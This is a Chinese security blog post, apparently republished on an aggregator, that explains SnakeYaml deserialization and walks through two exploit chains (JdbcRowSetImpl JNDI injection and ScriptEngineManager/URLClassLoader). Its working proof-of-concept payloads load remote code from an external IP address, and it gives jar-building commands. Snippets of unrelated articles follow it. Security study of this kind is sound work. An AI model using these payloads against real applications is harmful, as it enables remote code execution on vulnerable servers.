【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

目录

关于Yaml

关于SnakeYaml

SnakeYaml反序列化利用

JdbcRowSetImpl链

ScriptEngineManager链 

复现

基本原理

继续深入


关于Yaml

学过SpringBoot开发的师傅都知道,YAML和 Properties 文件都是常见的配置文件格式,用于存储键值对数据。

这里举几个Yaml的例子回顾一下

# 示例 YAML 文件# 字符串和整数
name: John Doe
age: 30# 列表
languages:- Python- JavaScript- Java# 映射
address:street: 123 Main Streetcity: Anytownpostal_code: 12345# 嵌套结构
person:name: Aliceage: 25address:street: 456 Elm Streetcity: Somewherepostal_code: 54321

上面的例子体现了几个Yaml的特性:

使用 key: value 的格式表示键值对数据。
使用缩进表示层次结构,比如 languages 是一个列表,address 是一个映射。
支持注释,以 # 开头。
如何表示字符串、整数、列表和嵌套结构。

此外,在 YAML 中,方括号 [] 和双方括号 [[...]] 分别表示列表和嵌套列表的含义。

  1. 单方括号 [] 表示列表

    • 在 YAML 中,单方括号 [] 表示一个简单的列表,其中可以包含一组项目。
    • 例如,items: [apple, banana, orange] 表示一个包含三个字符串元素的列表。
  2. 双方括号 [[...]] 表示嵌套列表

    • 双方括号 [[...]] 表示一个嵌套的列表,即一个列表中包含另一个列表。
    • 这种结构用于表示更复杂的数据结构,其中内部列表中可以包含多个项目。
    • 在嵌套列表中,每对方括号表示一个新的列表层级。
    • 例如,nestedList: [[1, 2], [3, 4], [5, 6]] 表示一个包含三个子列表的父列表,每个子列表包含两个整数元素。

关于SnakeYaml

SnakeYAML 是 Java 中一个流行的 YAML 解析库,用于读取和生成 YAML 数据。

1.加载(Load)YAML 数据: 使用 SnakeYAML 的 load 方法可以将 YAML 数据加载到 Java 对象中。这个方法会将 YAML 格式的数据解析为对应的 Java 对象。

2.转储(Dump)Java 对象为 YAML 格式: 使用 SnakeYAML 的 dump 方法可以将 Java 对象转换为对应的 YAML 格式数据。

举例:

一个User Bean

package com.snake.demo;public class User {private String name;public int age;public User(String name, int age) {this.name = name;this.age = age;}public User() {System.out.println("Non Arg Constructor");}public String getName() {System.out.println("getName");return name;}public void setName(String name) {System.out.println("setName");this.name = name;}public int getAge() {System.out.println("getAge");return age;}public void setAge(int age) {System.out.println("setAge");this.age = age;}@Overridepublic String toString() {return "I am " + name + ", " + age + " years old";}
}

测试类

package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class Main {public static void main(String[] args) {User user = new User("Z3r4y", 18);Yaml yaml = new Yaml();System.out.println(yaml.dump(user));String s = "!!com.snake.demo.User {age: 18, name: Z3r4y}";User user2 = yaml.load(s);System.out.println(user2);}
}

运行结果

getName
!!com.snake.demo.User {age: 18, name: Z3r4y}Non Arg Constructor
setName
I am Z3r4y, 18 years old

通过上述lab,我们至少可以得到以下两点结论:

①yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类 

②四种属性修饰,private,protected,public,default,若属性设置为public,则不会调用对应的setter方法,当属性为public时,是通过反射对Field进行了set,而当属性为private时,是通过反射调用setName设置的值

SnakeYaml反序列化利用

SnakeYaml反序列化和fastjson反序列化一样都会调用setter,不过对于public修饰的成员不会调用其setter。

除此之外,SnakeYaml反序列化时还能调用该类的构造函数

于是乎便分别有了以下两种的利用

JdbcRowSetImpl链

调用JdbcRowSetImpl#setAutoCommit,这样就成功触发了JdbcRowSetImpl链,从而JNDI注入

先导pom依赖

<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.27</version></dependency>

编写POC

package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC1 {public static void main(String[] args) {String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://124.222.136.33:1337/#suibian, autoCommit: true}";Yaml yaml = new Yaml();yaml.load(poc);}
}

开一个恶意LDAP服务器

找个端口放恶意字节码

成功弹计算器

和FastJson反序列化原理一样的,不多解释,可以看这篇文章:【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用

ScriptEngineManager链 

复现

javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行,底层是个SPI,关于SPI可以看看这篇文章,不多赘述:

【Web】浅浅地聊JDBC java.sql.Driver的SPI后门

【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客

github上现成的利用ScriptEngineManager利用方式的exp:

GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads

拿到手稍微小改下这个部分代码就可

运行下列命令生成个jar包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

然后开个端口把恶意jar包放服务器上

运行这段代码,弹出计算器

package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC2 {public static void main(String[] args) {String poc = "!!javax.script.ScriptEngineManager [\n" +"  !!java.net.URLClassLoader [[\n" +"    !!java.net.URL [\"http://124.222.136.33:1337/yaml-payload.jar\"]\n" +"  ]]\n" +"]";Yaml yaml = new Yaml();yaml.load(poc);}
}

基本原理

OK复现成功了,我们跟下调用链

首先看到javax.script.ScriptEngineManager的有参构造方法调用了init,并传入了一个ClassLoader,至于从哪传的,后面会讲,暂按下不表。

public ScriptEngineManager(ClassLoader loader) {init(loader);}

init方法进行一些初始化设置之后调用initEngines()

private void init(final ClassLoader loader) {globalScope = new SimpleBindings();engineSpis = new HashSet<ScriptEngineFactory>();nameAssociations = new HashMap<String, ScriptEngineFactory>();extensionAssociations = new HashMap<String, ScriptEngineFactory>();mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();initEngines(loader);}

initEngines方法,调用了getServiceLoader

 private void initEngines(final ClassLoader loader) {Iterator<ScriptEngineFactory> itr = null;try {ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged(new PrivilegedAction<ServiceLoader<ScriptEngineFactory>>() {@Overridepublic ServiceLoader<ScriptEngineFactory> run() {return getServiceLoader(loader);}});itr = sl.iterator();}

跟进getServiceLoader方法

private ServiceLoader<ScriptEngineFactory> getServiceLoader(final ClassLoader loader) {if (loader != null) {return ServiceLoader.load(ScriptEngineFactory.class, loader);} else {return ServiceLoader.loadInstalled(ScriptEngineFactory.class);}}

返回一个ServiceLoader<T>,根据这个可以获取一个指定了加载类为ScriptEngineFactory的迭代器,这也和我们生成恶意jar包的项目的META-INF/services目录下的文件名呼应

ok到这一步我们已经获得了一个指定了加载类为ScriptEngineFactory的迭代器

initEngines方法接着向下执行又看到了两个熟悉的方法hasNext()next()

try {while (itr.hasNext()) {try {ScriptEngineFactory fact = itr.next();engineSpis.add(fact);} catch (ServiceConfigurationError err) {System.err.println("ScriptEngineManager providers.next(): "+ err.getMessage());if (DEBUG) {err.printStackTrace();}// one factory failed, but check other factories...continue;}}}

不多作赘余解释,这篇文章里有写:【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客

总结来说就是:

hashNext用于获取全路径,并读取文件中的内容

next用于执行文件中对应的类,导致恶意类的动态加载,恶意静态代码块的执行,从而完成攻击

问题是,恶意类来自哪呢?是来自反序列化调用远程jar包

如何调用远程的jar包呢?只能说是由URLClassLoader和URL来具体操作的,我们不做具体讨论

原理这部分到此为止。

继续深入

我们先回到本源,来看看Yaml#load是如何操作

public <T> T load(String yaml) {return this.loadFromReader(new StreamReader(yaml), Object.class);
}

先是将我们的payload字符串存入StreamReader的stream中

public StreamReader(Reader reader) {this.pointer = 0;this.index = 0;this.line = 0;this.column = 0;this.name = "'reader'";this.dataWindow = new int[0];this.dataLength = 0;this.stream = reader;this.eof = false;this.buffer = new char[1025];
}

 OK,我们再回到loadFromReader(),其创建了一个Composer对象,并封装到constructor中

private Object loadFromReader(StreamReader sreader, Class<?> type) {Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);this.constructor.setComposer(composer);return this.constructor.getSingleData(type);
}

跟一下this.constructor.getSingleData

代码中首先通过 composer 对象的 getSingleNode 方法获取一个节点(Node)对象。接着判断该节点是否为非空且不是表示空值的特殊标记。如果条件成立,则继续执行下面的逻辑,否则会返回一个表示空值的对象。

public Object getSingleData(Class<?> type) {Node node = this.composer.getSingleNode();if (node != null && !Tag.NULL.equals(node.getTag())) {if (Object.class != type) {node.setTag(new Tag(type));} else if (this.rootTag != null) {node.setTag(this.rootTag);}return this.constructDocument(node);} else {Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);return construct.construct(node);}
}

  接着调用constructDocument()

protected final Object constructDocument(Node node) {Object var3;try {Object data = this.constructObject(node);this.fillRecursive();var3 = data;}

跟constructObject

protected Object constructObject(Node node) {
    if (constructedObjects.containsKey(node)) {
        return constructedObjects.get(node);
    }
    return constructObjectNoCheck(node);
}

跟 constructObjectNoCheck

constructObjectNoCheck()recursiveObjects值为空,所以不执行if,并通过add将node追加到其中,之后由于constructedObjects值也是空,所以三目运算执行" : "后边的内容

protected Object constructObjectNoCheck(Node node) {
    if (recursiveObjects.contains(node)) {
        throw new ConstructorException(null, null, "found unconstructable recursive node",
                node.getStartMark());
    }
    recursiveObjects.add(node);
    Construct constructor = getConstructor(node);
    Object data = (constructedObjects.containsKey(node)) ? constructedObjects.get(node)
            : constructor.construct(node);

node放入recursiveObjects,进入constructor.construct(node)

public Object construct(Node node) {
    try {
        return getConstructor(node).construct(node);
    } catch (ConstructorException e) {
        throw e;
    } catch (Exception e) {
        throw new ConstructorException(null, null, "Can't construct a java object for "
                + node.getTag() + "; exception=" + e.getMessage(), node.getStartMark(), e);
    }
}

再跟construct

for (Node argumentNode : snode.getValue()) {
    Class<?> type = c.getParameterTypes()[index];
    // set runtime classes for arguments
    argumentNode.setType(type);
    argumentList[index++] = constructObject(argumentNode);
}

遍历节点,调用constructObject()又给循环回去

上面的POC有5个node,循环5次。

先后进行了URL、URLClassLoader、ScriptEngineManager的实例化

注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。

最后进入ScriptEngineManager的有参构造器,连接上了上文的SPI机制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/727503.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

干货分享③:免费制作产品管理系统!

他来了&#xff0c;他来了&#xff0c;他带着码上飞CodeFlying走来了&#xff01;今天继续为大家带来一期干货分享&#xff0c;教大家如何免费使用码上飞来的开发产品管理系统 &#xff01; 一、登陆官网 码上飞 CodeFlying | AI 智能软件开发平台&#xff01; 点击立即体验注…

服务器严重不够啊

必需采购服务器了&#xff0c;

一个比较全面实用的C#帮助类、工具类库

前言 经常会有一些同学会问为什么感觉我身边的大佬写一个功能会这么快&#xff1f;一个类似的模块大佬可能半天就搞定了&#xff0c;而我要搞一两天。其实工作久了你会发现很多常用公共的帮助类和工具类&#xff0c;如常见的Excel数据导入导出、文件操作、字符串操作、数据转换…

从零搭建React18.2+ReactRoute6.22+TS5+RTK2.2搭配antd5+antd-style书写All in Js完整体验项目规范

1. 使用CRA创建项目 全局设置npm淘宝镜像源 npm config set registry https://registry.npmmirror.com -g使用最新版create-react-app初始化项目结构 npx create-react-app custom-template --template typescript初始化项目之后在package.json文件中配置使用node>18.0.0…

WordPress供求插件API文档:用户登录

该文档为WordPress供求插件文档&#xff0c;详情请查看 WordPress供求插件&#xff1a;一款专注于同城生活信息发布的插件-CSDN博客文章浏览阅读67次。WordPress供求插件&#xff1a;sliver-urban-life 是一款专注于提供同城生活信息发布与查看的插件&#xff0c;该插件可以实…

windows下编译boost1.84.0库

boost系列文章目录 文章目录 boost系列文章目录前言一、boost编译二、boost使用三 、参考 前言 Boost简介 官方网址 Boost提供免费的同行评审的可移植C源代码库。 我们强调与C标准库配合良好的库。Boost库旨在广泛使用&#xff0c;并可在广泛的应用程序中使用。Boost许可证鼓…

SpringBoot+Maven多环境配置模式

我这里有两个配置文件 然后在最外层的父级POM文件里面把这个两个配置文件写上 <profiles><profile><id>druid</id><properties><spring.profiles.active>druid</spring.profiles.active></properties><activation><…

sensor_msgs::LaserScan雷达数据转换成pcl::PointXYZ数据类型

文章目录 创建工作空间、功能包功能包文件 package.xml头文件、源码文件laserscan_to_pointcloud.hlaserscan_to_pointcloud.cc 代码解读编译文件 CMakeLists.txt运行效果 截图 创建工作空间、功能包 catkin_create_pkg laserscan_to_pointcloud sensor_msgs roscpp pcl_conve…

分享关于如何解决系统设计问题的逐步框架

公司广泛采用系统设计面试&#xff0c;因为在这些面试中测试的沟通和解决问题的技能与软件工程师日常工作所需的技能相似。面试官的评估基于她如何分析一个模糊的问题以及如何逐步解决问题。测试的能力还包括她如何解释这个想法&#xff0c;与他人讨论&#xff0c;以及评估和优…

回溯算法07-子集(Java/子集问题)

.子集 题目描述 给你一个整数数组 nums &#xff0c;数组中的元素 互不相同 。返回该数组所有可能的子集&#xff08;幂集&#xff09;。解集 不能 包含重复的子集。你可以按 任意顺序 返回解集。 示例 1&#xff1a; 输入&#xff1a;nums [1,2,3] 输出&#xff1a;[[],[…

ChatGPT高效提问——说明提示技巧

ChatGPT高效提问——说明提示技巧 现在&#xff0c;让我们开始体验“说明提示技巧”&#xff08;IPT, Instructions Prompt Technique&#xff09;和如何用它生成来自ChatGPT的高质量的文本。说明提示技巧是一个通过向ChatGPT提供需要依据的具体的模型的说明来指导ChatGPT输出…

不伤耳朵的蓝牙耳机推荐,骨传导耳机选购前必知的几大要点

在目前的蓝牙耳机市场上&#xff0c;骨传导蓝牙耳机以其独特的设计和不伤耳朵的好处而受到广泛关注。骨传导蓝牙耳机通过骨头传导声音&#xff0c;无需进入耳道&#xff0c;从而减少了耳朵的不适和潜在伤害。 骨传导蓝牙耳机这种开放式的设计允许用户在享受音乐的同时&#xf…

lvs+keepalive

虚拟路由冗余协议(Virtual Router Redundancy Protocol&#xff0c;简称VRRP) VRRP能够在不改变组网的情况下&#xff0c;将多台路由器虚拟成一个虚拟路由器&#xff0c;通过配置虚拟路由器的IP地址为默认网关&#xff0c;实现网关的备份。 协议版本: VRRPv2&#xff08;常用&…

双碳目标下DNDC模型建模方法及在土壤碳储量、温室气体排放、农田减排、土地变化、气候变化中的应用

由于全球变暖、大气中温室气体浓度逐年增加等问题的出现&#xff0c;“双碳”行动特别是碳中和已经在世界范围形成广泛影响。国家领导人在多次重要会议上讲到&#xff0c;要把“双碳”纳入经济社会发展和生态文明建设整体布局。同时&#xff0c;提到要把减污降碳协同增效作为促…

一文掌握:电力管理系统该的功能和界面设计

一、什么电力管理系统 电力管理系统是一个用于监控、控制和优化电力系统运行的软件系统。它集成了实时数据采集、数据分析、决策支持和远程控制等功能&#xff0c;旨在提高电力系统的运行效率、可靠性和安全性。 电力管理系统是一个集成了数据采集、监控、分析和控制等功能的软…

vue面试--9, 1 ObjectProperty与vue3Proxy区别。2 MVVM的理解 3 双向绑定原理?

1 ObjectProperty与vue3Proxy区别 2 MVVM的理解 3 双向绑定原理&#xff1f;

如何在小程序中绑定身份证

在小程序中绑定身份证信息是一项常见的需求&#xff0c;特别是在需要进行实名认证或者身份验证的场景下。通过绑定身份证信息&#xff0c;可以提高用户身份的真实性和安全性&#xff0c;同时也为小程序提供了更多的个性化服务和功能。下面就介绍一下怎么在小程序中绑定居民身份…

Unity性能优化篇(四) GPU Instancing

使用GPU Instancing可以在一个Draw Call中同时渲染多个相同或类似的物体&#xff0c;从而减少CPU和GPU的开销。 官方文档&#xff1a;https://docs.unity3d.com/Manual/GPUInstancing.html 启用GPU Instancing&#xff0c;我们可以选中一个材质&#xff0c;然后在Inspector窗口…

Java EE之线程安全问题

一.啥是线程安全问题 有些代码&#xff0c;在单个线程执行时完全正确&#xff0c;但同样的代码让多个线程同时执行&#xff0c;就会出现bug。例如以下代码&#xff1a; 给定一个变量count&#xff0c;让线程t1 t2分别自增5000次&#xff0c;然后进行打印&#xff0c;按理说co…

如何将中科方德桌面操作系统加入Windows域

往期文章&#xff1a;自定义SSH客户端连接时的显示信息 | 统信UOS | 麒麟KYLINOS Hello&#xff0c;大家好啊&#xff0c;今天我非常高兴地给大家带来一篇关于如何将中科方德桌面操作系统加入Windows域的教程文章。对于使用中科方德桌面操作系统的用户来说&#xff0c;将其加入…